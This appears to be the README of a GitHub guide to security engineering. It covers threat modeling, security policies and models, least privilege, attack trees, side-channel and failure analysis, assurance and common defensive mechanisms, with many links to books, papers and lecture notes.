> Please contribute! Create a pull request or just [create a issue](https://github.com/veeral-patel/how-to-secure-anything/issues/new) for content you'd like to add: I'll add it for you!
## Table of contents
- [What is security engineering?](#what-is-security-engineering)
- [High level process](#high-level-process)
- [Follow known best practices](#follow-known-best-practices)
- [Understand your adversaries](#understand-your-adversaries)
- [Security policies](#security-policies)
- [Security models](#security-models)
- [Improve defenses](#improve-defenses)
- [Minimize attack surface](#minimize-attack-surface)
- [Minimize and verify your trusted computing base (TCB)](#minimize-and-verify-your-trusted-computing-base-tcb)
- [Separate privileges](#separate-privileges)
- [Minimize privileges](#minimize-privileges)
- [Secure by default](#secure-by-default)
- [Secure by design](#secure-by-design)
- [Prevent/detect/respond framework](#prevent-detect-respond-framework)
- [Kill chains](#kill-chains)
- [Security design principles](#security-design-principles)
- [Find vulnerabilities](#find-vulnerabilities)
- [Developing an attacker mindset](#developing-an-attacker-mindset)
- [Think in graphs](#think-in-graphs)
- [Attack trees](#attack-trees)
- [On, un-bypassable, tamperproof, functionally correct, fail closed](#on--un-bypassable--tamperproof--functionally-correct--fail-closed)
- [Example: a burglar](#example--a-burglar)
- [Assumptions analysis](#assumptions-analysis)
- [Failure analysis](#failure-analysis)
- [Fault tree analysis](#fault-tree-analysis)
- [FMEA](#fmea)
- [Protocol analysis](#protocol-analysis)
- [Side channel analysis](#side-channel-analysis)
- [Assurance](#assurance)
- [Popular mechanisms](#popular-mechanisms)
- [Cryptography](#cryptography)
- [Economics](#economics)
- [Laws and regulations (deterrence by the government)](#laws-and-regulations-deterrence-by-the-government)
- [Retaliation (deterrence by you or third parties)](#retaliation-deterrence-by-you-or-third-parties)
- [Tamper resistance](#tamper-resistance)
- [Tamper detection](#tamper-detection)
- [Access control](#access-control)
- [Authentication](#authentication)
- [Biometrics](#biometrics)
- [Authorization](#authorization)
- [Multilevel](#multilevel)
- [Multilateral](#multilateral)
- [Two-man rule](#two-man-rule)
- [Inference control](#inference-control)
- [Sandboxing](#sandboxing)
- [Logging & auditing](#logging---auditing)
- [Air-gapping](#air-gapping)
- [Attacking](#attacking)
- [Obscurity](#obscurity)
- [Learn about how real world systems are secured](#learn-about-how-real-world-systems-are-secured)
- [Physical facilities](#physical-facilities)
- [Defending](#defending)
- [Attacking](#attacking-1)
- [Nuclear command and control](#nuclear-command-and-control)
- [Monitoring and metering](#monitoring-and-metering)
- [Banking and bookkeeping](#banking-and-bookkeeping)
- [Defending](#defending-1)
- [Attacking](#attacking-2)
- [Distributed systems](#distributed-systems)
- [Copyright and DRM](#copyright-and-drm)
- [Web browsers](#web-browsers)
- [Web applications](#web-applications)
- [Android](#android)
- [BeyondCorp & zero trust](#beyondcorp---zero-trust)
- [Architecture](#architecture)
- [Summary](#summary)
- [Authentication](#authentication-1)
- [Key components](#key-components)
- [End to end flow](#end-to-end-flow)
- [Prereqs for compromising a service](#prereqs-for-compromising-a-service)
- [Before/after](#before-after)
- [Further reading](#further-reading)
- [Apple](#apple)
- [Cloud providers](#cloud-providers)
- [Computer networks](#computer-networks)
- [Operating systems](#operating-systems)
- [Time protection](#time-protection)
- [sel4](#sel4)
- [SELinux](#selinux)
- [AppArmor](#apparmor)
- [Chromebook](#chromebook)
- [Prisons](#prisons)
- [Voting](#voting)
- [Museums](#museums)
- [Defending](#defending-2)
- [Attacking](#attacking-3)
- [Counterintelligence](#counterintelligence)
- [Casinos](#casinos)
- [Defending](#defending-3)
- [Attacking](#attacking-4)
- [Military Architecture](#military-architecture)
- [Defending](#defending-4)
- [Attacking](#attacking-5)
- [Both](#both)
- [Books](#books)
- [Recommended](#recommended)
- [More](#more)
- [Haven't read yet](#haven-t-read-yet)
- [Papers](#papers)
- [Content wanted](#content-wanted)
- [In the future](#in-the-future)
## What is security engineering?
Security engineering isn't about adding a bunch of controls to something.
It's about coming up with security properties you'd like a system to have, choosing
mechanisms that enforce these properties, and assuring yourself that your security properties hold.
- ["What is security engineering?" (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv3-ch1-dec18.pdf) - [my notes](anderson/anderson-ch1.md)
- [What's the problem? (from Saydjari's book)](https://www.oreilly.com/library/view/engineering-trustworthy-systems/9781260118186/ch1.xhtml) - [my notes](saydjari/saydjari-ch1.md)
- [Computer security in the real world](what_is_it/computer_security_in_the_real_world.pdf)
- [Human Adversaries – Why Information Security Is Unlike Engineering](https://www.scriptjunkie.us/2016/01/human-adversaries-why-information-security-is-unlike-engineering/)
- Natural Advantages of Defense: What Military History Can Teach Network Security - [Part 1](https://www.schneier.com/crypto-gram/archives/2001/0415.html#1), [Part 2](https://www.schneier.com/crypto-gram/archives/2001/0515.html#1)
- [Availability and Security: Choose One](https://www.cs.auckland.ac.nz/~pgut001/pubs/availability.pdf)
## High level process
Here's the process I like for securing things:
- We follow as many known best practices as we can. If humans already know how to secure something well, why try to derive the answer ourselves?
- Learn about the adversaries you want to defend against
- We write down our security policies, or high level security goals
- We develop a security model, or a spec we follow to satisfy our policies
- We reduce attack surface, follow security design principles, brainstorm ideas for and implement additonal security controls, and more -- to improve our security
- We test our design by assessing our controls, assessing protocols, looking for side channels, and more
- We write assurance cases to prove we satisfy our security policy.
## Follow known best practices
Before anything else, I'd Google for the best practices for securing whatever you're trying to secure and implement all of them.
If you're in a corporate environment, set up SSO and 2FA. If you're securing a physical facility, see if there's a well-regarded physical security standard you can comply with.
I'd study how people have defended what you're defending now in the past. Also, I'd talk to the people who are the very best at defending what I'm defending now, and learn what they do that most people don't do.
Doing this will make you significantly more secure than the majority of people, who don't do this.
## Understand your adversaries
There's no such thing as a system being secure, only being secure against a particular adversary.
This is why it's important to understand who your adversaries are, as well as the motivation behind
and capabilities of each adversary.
Consider non-human threats, too. If you're asked to secure a painting in a museum, a fire may technically not be a security issue -- but it's something to guard against, regardless.
Also, study the history of attacks. If I was designing a prison, I'd learn about all the past prison breakouts that I could.
- [Agile threat modeling](https://martinfowler.com/articles/agile-threat-modelling.html) - [my notes](threat_modeling/agile-threat-modeling.md)
- [Threat Modeling: Designing for Security](https://www.amazon.com/Threat-Modeling-Designing-Adam-Shostack/dp/1118809998)
- [Awesome Threat Modeling](https://github.com/hysnsec/awesome-threat-modelling)
- [Some thoughts on threat modeling](https://www.cs.auckland.ac.nz/~pgut001/pubs/threat_modelling.pdf)
- [Threat modeling: 12 available methods](https://insights.sei.cmu.edu/sei_blog/2018/12/threat-modeling-12-available-methods.html)
- [Approachable threat modeling](https://increment.com/security/approachable-threat-modeling/)
- [OWASP Threat Model Cookbook](https://github.com/OWASP/threat-model-cookbook)
- [Threat modeling for dummies](https://www.slideshare.net/AdamEnglander/threat-modeling-for-dummies-cascadia-php-2018)
- [Threat modeling cheatsheet (from OWASP)](https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html)
- [A Guide to Understanding Security Modeling in Trusted Systems](https://fas.org/irp/nsa/rainbow/tg010.pdf)
- [Adversaries: Know Thy Opponent (from Saydjari's book)](https://learning.oreilly.com/library/view/engineering-trustworthy-systems/9781260118186/ch6.xhtml#ch6)
- ["Who is your opponent?" (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv3-ch2-dec18.pdf)
## Security policies
Policies are the high level properties we want our system to have. Policies are what we want to happen.
Let's say we're designing a prison.
I'd start with a strong policy:
> No prisoner may escape the prison.
Of course, time, money, and manpower are all limited. The goal isn't to eliminate risk entirely,
but bring it down to an acceptable level.
As I go through the next couple steps and learn what controls I need and how costly they'll be, I might refine my security policy to something like this:
> No more than 10 out of 10,000 (0.1%) prisoners may escape our prison in any given time period.
[Looking at benchmarks](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.849.2782&rep=rep1&type=pdf) may help us come up with this number.
Any system has additional requirements in addition to its security requirements. These two sets of requirements may conflict, so you may need to relax your security requirements.
Going back to the example above, our policy is that only a tiny percentage of prisoners may leave the prison without permission. But what if there's a fire?
If you've achieved this low escape rate by building a fully autonomous fortress with no fire detection or human override, the results may be suboptimal.
## Security models
We can then turn our policy into a more detailed model. A model is a set of rules, a specification, we can follow to achieve our policy. Our policy is our "what", the model is our "how".
> Each individual in the prison facility must have a ID that identifies him/her as a "prisoner" or "not a prisoner"
> A prisoner may have the written consent of the warden to leave.
> A non-prisoner may leave at any time.
- [Computer Security: Art and Science](https://www.amazon.com/Computer-Security-Art-Science-Set/dp/013428951X) covers this topic very well
- [Flask security architecture](https://www.cs.cmu.edu/~dga/papers/flask-usenixsec99.pdf)
- [Sancus 2.0: A Low-Cost Security Architecture for IoT Devices](https://www.esat.kuleuven.be/cosic/publications/article-2785.pdf)
Luckily, in information security, our policies often revolve around confidentiality, integrity, and availability and so there are popular existing security models for each of these policies.
For confidentiality, for example, you can choose between:
- [multilevel security](#multilevel), for which [Bell-Padula](https://en.wikipedia.org/wiki/Bell%E2%80%93LaPadula_model) can be used
- [multilateral security](#multilateral), for which compartmentation, BMA, [Chinese wall](https://people.csail.mit.edu/alinush/6.858-fall-2014/papers/chinese-wall-sec-pol.pdf) can be used (according to Anderson's book)
See also [this Wikipedia article](https://en.wikipedia.org/wiki/Computer_security_model) and [this one](https://en.wikipedia.org/wiki/Category:Computer_security_models) on computer models.
## Improve defenses
Here are some useful techniques I've found for improving the security of a system.
Also see if you any of the mechanisms in [popular mechanisms](#popular-mechanisms) would help.
### Minimize attack surface
See tptacek's [HN comment on this](https://news.ycombinator.com/item?id=17014818):
> For instance: you can set up fail2ban, sure. But what's it doing for you? If you have password SSH authentication enabled anywhere, you're already playing to lose, and logging and reactive blocking isn't really going to help you. Don't scan your logs for this problem; scan your configurations and make sure the brute-force attack simply can't work.
> The same goes for most of the stuff shrink-wrap tools look for in web logs. OSSEC isn't bad, but the things you're going to light up on with OSSEC out of the box all mean something went so wrong that you got owned up.
> Same with URL regexes. You can set up log detection for people hitting your admin interfaces. But then you have to ask: why is your admin interface available on routable IPs to begin with?
- [OWASP Attack Surface Analysis Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Attack_Surface_Analysis_Cheat_Sheet.html)
- See the papers in [this folder](attack_surface)
### Minimize and verify your trusted computing base (TCB)
When evaluating a design, it's useful to see how much of the system must be trusted in order for a security goal
to be achieved. The smaller this trusted computing base is, the better.
Also, once you identify the TCB for an existing system, you know that you only need to secure your TCB. You don't
need to worry about securing components outside your TCB.
You want to make your TCB as small, simple, unbypassable, tamper-resistant, and verifiable as you can, as I
write about [here](https://github.com/veeral-patel/learn-security-engineering/blob/master/ucb-tcb-notes.md#remember).
- [OS Security Concepts (from CS 161 from UC Berkeley)](https://inst.eecs.berkeley.edu/~cs161/fa16/slides/lec4.pdf)
- [Design patterns for building secure systems](https://inst.eecs.berkeley.edu/~cs161/fa16/notes/1.27.patterns.pdf) - [my notes](ucb-tcb-notes.md)
- [TSAFE: Building a Trusted Computing Base forAir Traffic Control Software](tcbs/tsafe.pdf)
- [Ten page intro to trusted computing](tcbs/ten_page_intro_to_trusted_computing.pdf)
- [Reducing TCB Complexity for Security-Sensitive Applications: Three Case Studies](http://141.76.48.99/papers_ps/eurosys2006.pdf)
- [The Nizza Secure-System Architecture](https://genode-labs.com/publications/nizza-2005.pdf)
### Separate privileges
When designing a system, a great way to mitigate the impact of a successful attack is to break the system
down into components based upon their privilege level.
Then, ask what's the least amount of privilege each component needs -- and then enforce the allowed privileges with a [sandbox](https://github.com/veeral-patel/learn-security-engineering#sandboxing) (if applicable).
Say one of our SRE SSH's into a production EC2 instance as `root` to check the instance's memory and CPU usage. Instead, we can assign the SRE a non-root account. Even better, we can whitelist the commands this account can run.
Even better, we can even remove SSH access entirely and set up [Prometheus](https://prometheus.io/) for monitoring.
- [Lecture 4: Privilege Separation (6.858 from MIT)](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-858-computer-systems-security-fall-2014/video-lectures/lecture-4-privilege-separation/) - [my notes](mit-6858-lec-4-privilege-separation.md)
- [SSH daemon (from Niels Provos)](http://www.citi.umich.edu/u/provos/ssh/privsep.html)
- [OKWS paper](https://pdos.csail.mit.edu/papers/okws-usenix04.pdf)
- [Security architecture of the Chromium browser](http://seclab.stanford.edu/websec/chromium/chromium-security-architecture.pdf)
- [Nested Kernel: An Operating System Architecture for Intra-Kernel Privilege Separation](https://nathandautenhahn.com/downloads/publications/asplos200-dautenhahn.pdf)
- [Privilege bracketing](https://en.wikipedia.org/wiki/Privilege_bracketing) - see also [this page](https://docs.oracle.com/cd/E19109-01/tsolaris8/816-1042/6m7g4ma52/index.html)
- [Exploit mitigation techniques in OpenBSD](http://www.openbsd.org/papers/v)
- [Privtrans: Automatically Partitioning Programs for Privilege Separation](https://www.usenix.org/legacy/event/sec04/tech/full_papers/brumley/brumley_html/)
### Minimize privileges
- [Ways to minimize privileges](https://dwheeler.com/secure-programs/Secure-Programs-HOWTO/minimize-privileges.html)
- [Make least privilege a right (not a privilege)](https://www.scs.stanford.edu/~dm/home/papers/krohn:least-privilege.pdf)
- [Plash: tools for least privilege](http://www.plash.beasts.org/index.html)
- [SHILL: A Secure Shell Scripting Language](https://www.usenix.org/system/files/conference/osdi14/osdi14-paper-moore.pdf)
- [Security wrappers and Bernstein chaining](http://www.catb.org/~esr/writings/taoup/html/ch06s06.html)
### Secure by default
- [Weakest link security](https://www.schneier.com/blog/archives/2005/12/weakest_link_se.html) - ignore the title!
- [Secure by default – the case of TLS](https://arxiv.org/pdf/1708.07569.pdf)
- [Configure Safely and Use Safe Defaults](https://dwheeler.com/secure-programs/Secure-Programs-HOWTO/safe-configure.html)
### Secure by design
- [Stop trying to fix the user](https://www.schneier.com/blog/archives/2016/10/security_design.html)
### Prevent/detect/respond framework
The way I see it, every defense falls into one of these categories:
- Prevent: consists of deter, stop
- Detect
- Respond: consists of delay, contain, investigate, remediate
Take any attack. Then, for each of the seven categories, brainstorm defenses that fall into that category.
### Kill chains
By mapping out an adversary's kill chain, we can then identify controls to counteract
each step in the kill chain. Check out [MITRE ATT&CK](https://attack.mitre.org/).
- [Kill chains (Wikipedia)](https://en.wikipedia.org/wiki/Kill_chain)
### Security design principles
I would go down this list and see if there's any principles which you can apply to your system.
- Secure the weakest link
- Defense in depth
- Fail securely
- Secure by default - discussed earlier in the repo
- Least privilege - discussed earlier in the repo
- Separation of privilege - discussed earlier in the repo
- Economy of mechanism - controls should be as simple as possible
- Least common mechanism - limit unnecessary sharing. see [this](https://dwheeler.com/secure-programs/Secure-Programs-HOWTO/minimize-data-access.html)
- Open design - your design should be secure without obscurity. obscurity is discussed [later in the repo](#obscurity)
- Complete mediation - applies to reference monitors, which many controls are. The idea is to perform a check on every request. If you cache results, then a request that should be rejected after things changed might be allowed. [See this link](https://us-cert.cisa.gov/bsi/articles/knowledge/principles/complete-mediation)
- Work factor - find ways to make the attacker need to do several times more work to break something than it takes you, the defender. [Here's a paper](https://www.nspw.org/papers/2000/nspw2000-schudel.pdf) on dynamic network reconfiguration being used to increase recon work for attackers
- Security is economics - discussed [later in the repo](#economics)
- Human factors matter - if a control relies on a human to do something, make sure your control is usable or the person just won't do it
- Know your threat model & update it - keep your threat model up to date with threats, and your defenses too
- Trust only trustworthy channels - see [this article](https://dwheeler.com/secure-programs/Secure-Programs-HOWTO/trustworthy-channels.html)
- Set up a trusted path - see [this article](https://dwheeler.com/secure-programs/Secure-Programs-HOWTO/trusted-path.html)
- Set up a central chokepoint for access control and logging (see also reference monitor)
Sources
- [Stop buying bad security prescriptions](https://medium.com/@justin.schuh/stop-buying-bad-security-prescriptions-f18e4f61ba9e)
- [Design principles (from US CERT)](https://www.us-cert.gov/bsi/articles/knowledge/principles/design-principles)
- [Principles for building secure systems](https://inst.eecs.berkeley.edu/~cs161/sp19/notes/Principles.1.19.pdf)
- [More principles](https://tramnguyenio.files.wordpress.com/2017/03/design-principles.pdf)
- [Even more principles (from David Wagner)](https://people.eecs.berkeley.edu/~daw/teaching/cs261-f07/slides-aug30.pdf)
- [The Information Security Practice Principles](https://cacr.iu.edu/principles/ISPP-Foundational-Whitepaper-2017.pdf)
## Find vulnerabilities
The techniques below help you find vulnerabilities in a proposed design for you to fix.
### Developing an attacker mindset
> Theories of security derive from theories of insecurity. - Unknown
> If you're a great attacker you can be "logically" a great defender. However, a great defender cannot be a great attacker, nor would I say they could be a "great" defender. - [Caleb Sima](https://twitter.com/csima), VP of Security at Databricks
> Any person can invent a security system so clever that she or he can't think of how to break it - [Schneier's Law](https://www.schneier.com/blog/archives/2011/04/schneiers_law.html)
More important than the attacks in subsequent sections is being able to think creatively, like an attacker. I do believe this skill is essential if you want in order to assess the security of your designs effectively.
This section describes some techniques for developing this skill that I've gathered.
#### Think in graphs
Read [this post by John Lambert first](https://github.com/JohnLaTwC/Shared/blob/master/Defenders%20think%20in%20lists.%20Attackers%20think%20in%20graphs.%20As%20long%20as%20this%20is%20true%2C%20attackers%20win.md). It's about how attackers think in graphs, while defenders think in lists, so attackers win.
I've copied the list of links below from John's post above.
- [Heat-ray: Combating Identity Snowball Attacks Using Machine Learning, Combinatorial Optimization and Attack Graph](http://alicezheng.org/papers/sosp2009-heatray-10pt.pdf)
- [Two Formal Analyses of Attack Graphs](http://www.cs.cmu.edu/~scenariograph/jha-wing.pdf)
- [Using Model Checking to Analyze Network Vulnerabilities](http://cyberunited.com/wp-content/uploads/2013/03/Using-Model-Checking-to-Analyze-Network-Vulnerabilities.pdf)
- [A Graph-Based System for Network-Vulnerability Analysis](http://web2.utc.edu/~djy471/CPSC4660/graph-vulnerability.pdf)
- [Automated Generation and Analysis of Attack Graphs](https://www.cs.cmu.edu/~scenariograph/sheyner-wing02.pdf)
- [Modern Intrusion Practices](https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-richarte.pdf)
- [Attack Planning in the Real World](http://arxiv.org/pdf/1306.4044.pdf)
### Attack trees
After building an attack tree, you can query it easily: "list all the attack paths costing
less than \$100k". (Remember: we don't seek absolute security, but rather security against
a certain set of adversaries.)
Also, remember the [weakest link principle](https://www.us-cert.gov/bsi/articles/knowledge/principles/securing-the-weakest-link). You can query your attack tree for the lowest cost attack
path and ensure that the cost isn't too low.
- [Attack trees (from Bruce Schneier)](https://www.schneier.com/academic/archives/1999/12/attack_trees.html)
### On, un-bypassable, tamperproof, functionally correct, fail closed
If a security control does not have the qualities above, then an attacker can violate a system's security properties by subverting its controls.
- Can the attacker turn off the control?
- Can the attacker get you to turn off the control?
- Can the attacker get around your control?
- Does the control depend on something that the attacker can disable?
- Are there any cases where the control doesn't work?
- Does the control fail open or closed? If it fails open, can the attacker make the control fail?
#### Example: a burglar
Take a burglar confronting a home security system which calls the police if someone crosses the lawn at night
- Can the burglar turn off the control? Probably not
- Can the burglar get you to turn off the control? Yes, they could set off the alarm everyday until you turn it off
- Can the burglar get around your control? Yes, they could land on the roof
- Does the control depend on something that the burglar can disable? Yes, the burglar can cut the electric wire or the fiber cable used to call the police
- Are there any cases where the control doesn't work? The burglar can buy the control and learn the alarm doesn't go off if they tip toes.
### Assumptions analysis
I like using a statement/conclusion format to draw out my assumptions about my controls.
Statement: I have a home security system which calls the police if someone crosses the lawn.
Conclusion: I won't get robbed.
Assumptions:
- For every single attacker that tries to cross my lawn, my home security system calls the police. (If the answer to any of the questions above is yes, this assumption is false.)
- The police will arrive before any attacker is able to steal anything and stop the theft.
- What if the attacker impersonates the homeowner and tells the police that my home security system is faulty; don't come if it calls you?
- What if the attacker makes hundreds of 911 calls while they are robbing the house?
- What if the police is blocked by a "car accident"? What if the attacker has arranged for a getaway helicopter?
Saydjari writes an entire chapter on this:
- [Architecting cybersecurity (from Saydjari's book)](https://learning.oreilly.com/library/view/engineering-trustworthy-systems/9781260118186/ch20.xhtml) - [my notes](saydjari/saydjari-ch20.md)
### Failure analysis
We want our security controls to fail closed, not open. There's two ways to analyze the ways something
might fail: failure tree analysis (FTA), which is top down, and failure modes and effects analysis (FMEA),
which is bottom up.
- [How to avoid failures](https://www.dsiintl.com/wp-content/uploads/2017/04/HOW-TO-AVOID-FAILURES-FMEA-andor-FTA.pdf)
- [Hazard Analysis Techniques for System Safety](https://www.amazon.com/Hazard-Analysis-Techniques-System-Safety/dp/0471720194)
- [Intro to Systems Theoretic Process Analysis (STPA)](http://psas.scripts.mit.edu/home/wp-content/uploads/2016/01/Systems-Theoretic-Process-Analysis-STPA-John-Thomas.pdf)
#### Fault tree analysis
- [Intro to fault trees](https://www.weibull.com/basics/fault-tree/index.htm)
#### FMEA
- [FMEA Procedure](https://asq.org/quality-resources/fmea)
- [FMEA: From Theory to Execution](https://www.amazon.com/Failure-Mode-Effect-Analysis-Execution/dp/0873895983)
- [The Basics of FMEA](https://www.amazon.com/Basics-FMEA-Raymond-J-Mikulak/dp/1563273772)
### Protocol analysis
Protocols aren't a tool for securing something. But all communication between two components of a system is done through
a protocol, so it's worth learning how to analyze protocols for vulnerabilities.
- ["Protocols" (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv3-ch4-dec18.pdf)
- [A logic of authentication](protocols/a_logic_of_authentication.pdf)
- [Programming Satan's computer](protocols/programming_satans_computer.pdf)
- [Using Encryption for Authentication in Large Networks of Computers](protocols/using_encryption_for_authentication_in_large_networks_of_computers.pdf)
- [Three systems for cryptographic protocol analysis](protocols/three_systems_for_cryptographic_protocol_analysis.pdf)
### Side channel analysis
Even if something isn't vulnerable to attacks (on confidentiality, integrity, or
availability), it may leak information which makes these attacks easier.
For example, take a login program that checks if the username is valid, returns
a generic "login failed" error if it's not, then checks if the password is valid,
and returns the same generic error if it's not.
At a first glance, determining if a particular username is valid may seem
impossible. After all, the error message is the same regardless of whether the
username is invalid or the username is valid and the password is invalid.
However, an attacker could examine the time it takes to get the error to
determine if the username is valid or not.
- ["Side channels" (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv3-ch19-dec18.pdf)
- [Covert vs overt vs side channels](https://security.stackexchange.com/questions/113332/covert-overt-and-side-channels) - See this [Stack Overflow answer](https://stackoverflow.com/questions/4083860/in-computer-security-what-are-covert-and-side-channels) too
- [A Guide to Understanding Covert Channel Analysis of Trusted Systems](https://fas.org/irp/nsa/rainbow/tg030.htm#2.0)
- [List of ways to find side channels in hardware/software](https://pastebin.com/ajqxDJ3J)
## Assurance
The goal of security engineering is to build a system that satisfies certain security properties -- not just to add a lot of controls.
Assurance is how we prove that our system satisfies the properties we want it to.
- [Assuring cybersecurity: getting it right (from Saydjari's book)](https://learning.oreilly.com/library/view/engineering-trustworthy-systems/9781260118186/ch21.xhtml#ch21)
- [Notes on high-assurance security methods by nickpsecurity](https://gist.github.com/ryazo/3267bcd5aedeebb9224ad90183a5eb85) - see also his writeup on [software distribution](https://pastebin.com/EZQWbwCB)
- [Guidelines for Formal Verification Systems](https://fas.org/irp/nsa/rainbow/tg014.htm)
- [Constructing a high assurance mail guard](https://cryptosmith.files.wordpress.com/2014/10/mailguard.pdf)
- [Designing The Gemsos Security Kernel For Security And Performance](http://mrheckman.com/yahoo_site_admin/assets/docs/DesigningTheGemsosSecurityKernel-OCR-120409-DRAFT.158131458.pdf)
- [SIFT: Design and Analysis of a Fault-Tolerant Computer for Aircraft Control](https://www.microsoft.com/en-us/research/wp-content/uploads/2016/12/Design-and-Analysis-of-a-Fault-Tolerant-Computer-for-Aircraft-Control.pdf)
- [Design and Verification of Secure Systems](http://www.csl.sri.com/users/rushby/papers/sosp81.pdf)
- [Commercial Product Evaluations](http://webapp1.dlib.indiana.edu/virtual_disk_library/index.cgi/1347159/FID1930/INDEX.HTML)
- [Make computers keep secrets](https://dspace.mit.edu/bitstream/handle/1721.1/33481/24370594-MIT.pdf)
- [Hints for High-Assurance Cyber-Physical System Design](https://leepike.github.io/pubs/pike-secdev16.pdf)
- [High-Assurance Separation Kernels: A Survey on Formal Methods](https://arxiv.org/pdf/1701.01535.pdf)
- [Separation Virtual Machine Monitors](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.363.3314&rep=rep1&type=pdf#page=435)
- [The Cross Domain Desktop Compositor: Using hardware-based video compositing for a multi-level secure user interface](https://people.eng.unimelb.edu.au/tobym/papers/cddc-acsac2016.pdf)
- [CH26 Managing the Development of Secure Systems (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv3-ch26-jul24.pdf)
- [CH27 Assurance & Sustainability (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv3-ch27-jul24.pdf)
- [We need assurance!](https://www.acsac.org/2005/papers/Snow.pdf)
- [The Orange Book](https://csrc.nist.gov/csrc/media/publications/conference-paper/1998/10/08/proceedings-of-the-21st-nissc-1998/documents/early-cs-papers/dod85.pdf)
- [Public Pentesting Reports](https://github.com/juliocesarfort/public-pentesting-reports)
- [High-Assurance Smart Card Operating System for Electronic Visas](https://researcher.watson.ibm.com/researcher/files/us-msteiner/secure-token.IBM%20ICAO%20RFI%20os%2005182005pak%20.pdf)
- [A Touch of Evil: High-Assurance Cryptographic Hardware from Untrusted Components](https://acmccs.github.io/papers/p1583-mavroudisA.pdf)
- [Lessons learned from building a high assurance crypto gateway](https://apps.dtic.mil/dtic/tr/fulltext/u2/a570736.pdf)
- [Formal Specification and Verification of a Microkernel](http://people.cs.ksu.edu/~danielwang/Investigation/Formal_Verification/JD10.pdf)
- [Final evaluation report of SCOMP](https://apps.dtic.mil/dtic/tr/fulltext/u2/a229523.pdf)
- See the papers in [this folder](assurance)
## Popular mechanisms
In order to secure something, you need to know what tools are available to you. Here are some that which can be used in many different contexts.
A lot of tools are context-specific, however. Before I start trying to secure a building, for example, I'd spend the time to learn about all the tools I can use: walls, sensors, natural barriers, guards, CCTV cameras, etc
### Cryptography
- [Cryptography: A Sharp and Fragile Tool (from Saydjari's book)](https://learning.oreilly.com/library/view/engineering-trustworthy-systems/9781260118186/ch10.xhtml#ch10)
- [Applied Cryptography: Protocols, Algorithms and Source Code in C](https://www.amazon.com/Applied-Cryptography-Protocols-Algorithms-Source-dp-1119096723/dp/1119096723)
- ["Cryptography Engineering" book](https://www.amazon.com/Cryptography-Engineering-Principles-Practical-Applications-ebook/dp/B004NSW9JU/ref=sr_1_1?crid=WBP1JC682B4V&dchild=1&keywords=cryptography+engineering&qid=1586149852&s=books&sprefix=cryptography+eng%2Cstripbooks%2C-1&sr=1-1)
- ["Cryptography" (from Ross Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv3-ch5-dec18.pdf)
- ["Advanced Cryptographic Engineering" (from Ross Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv3-ch20-mar17.pdf)
- [Don't trust the math (Bruce Schneier)](https://pastebin.com/zz7YZZUk)
### Economics
The idea here is to make it economically, not technically, infeasible for the attacker to attack us. He can still attack us, but his expected effort will exceed his expected gain.
Say a scammer manages to scam one of every hundred people out of $5. If we can add a $0.10 fee to every call, then they'd need to pay $10 in fees to earn $5.
Another example would be not storing credit card data ourselves, and instead outsourcing this to a payment processor, so the reward of attacking us is less.
If the attacker isn't motivated by money, this doesn't work.
- ["Economics" (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv3-ch8-dec18.pdf)
- [Security Economics](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-858-computer-systems-security-fall-2014/video-lectures/lecture-23-security-economics/) - here's the [transcript](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-858-computer-systems-security-fall-2014/video-lectures/lecture-23-security-economics/8PdnOZI7H5E.pdf)
### Laws and regulations (deterrence by the government)
Deterrence has three parts: certainty, severity, and swiftness. In other words, to deter attackers most effectively, someone should be able to catch most
or all of them -- and do this quickly -- and then sufficiently punish them once you do catch them.
This someone could be the government, via laws and regulations against whatever you're trying to defend against. The government may not catch everyone,
but these laws and regulations will deter most people. Copyright protection, anti-shoplifting, and anti-trespassing laws all are examples of this.
### Retaliation (deterrence by you or third parties)
The government is not the only third party who can deter attacks on you. Organizations, like NATO, can as well.
Alternatively, you can try to retaliate against attacks yourself. Take, for example, media companies that sue people that pirate their movies.
- [Deterrence and adversarial risk (from Saydjari's book)](https://learning.oreilly.com/library/view/Engineering+Trustworthy+Systems:+Get+Cybersecurity+Design+Right+the+First+Time/9781260118186/ch16.xhtml#ch16lev1) - [my notes](saydjari/saydjari-ch16.md)
### Tamper resistance
- ["Physical tamper resistance" (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv3-ch18-dec18.pdf)
- [Cryptographic processors – a survey](https://www.cl.cam.ac.uk/techreports/UCAM-CL-TR-641.pdf)
- [Smartcard Handbook](https://www.amazon.com/Smart-Card-Handbook-Wolfgang-Rankl/dp/0470743670)
- [Tamper Resistance - a Cautionary Note](https://www.cl.cam.ac.uk/~rja14/tamper.html)
- [Low Cost Attacks on Tamper Resistant Devices](http://web.cse.msstate.edu/~ramkumar/tamper2.pdf)
- [Design Principles for Tamper-Resistant Smartcard Processors](https://www.cl.cam.ac.uk/~mgk25/sc99-tamper.pdf)
### Tamper detection
If we can't prevent tampering, we can try to make it obvious when something has been tampered with.
This is one reason why bags of chips or gallons of milk, for example, are sealed.
- [Optical Document Security](https://www.amazon.com/Optical-Document-Security-Rudolf-Renesse/dp/1580532586/)
- ["Security printing and seals" (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv3-ch16-dec18.pdf)
### Access control
- ["Access Control" (from Anderson's book)](https://www.cl.cam.ac.uk/~rja14/Papers/SEv2-c04.pdf)
- [OS Security Concepts (from CS 161 from UC Berkeley)](https://inst.eecs.berkeley.edu/~cs161/fa16/slides/lec4.pdf)
- [Understanding Discretionary Access Control In Trusted Systems](https://fas.org/irp/nsa/rainbow/tg003.htm)
- [Awesome Object Capabilities and Capability-based Security](https://github.com/dckc/awesome-ocap)
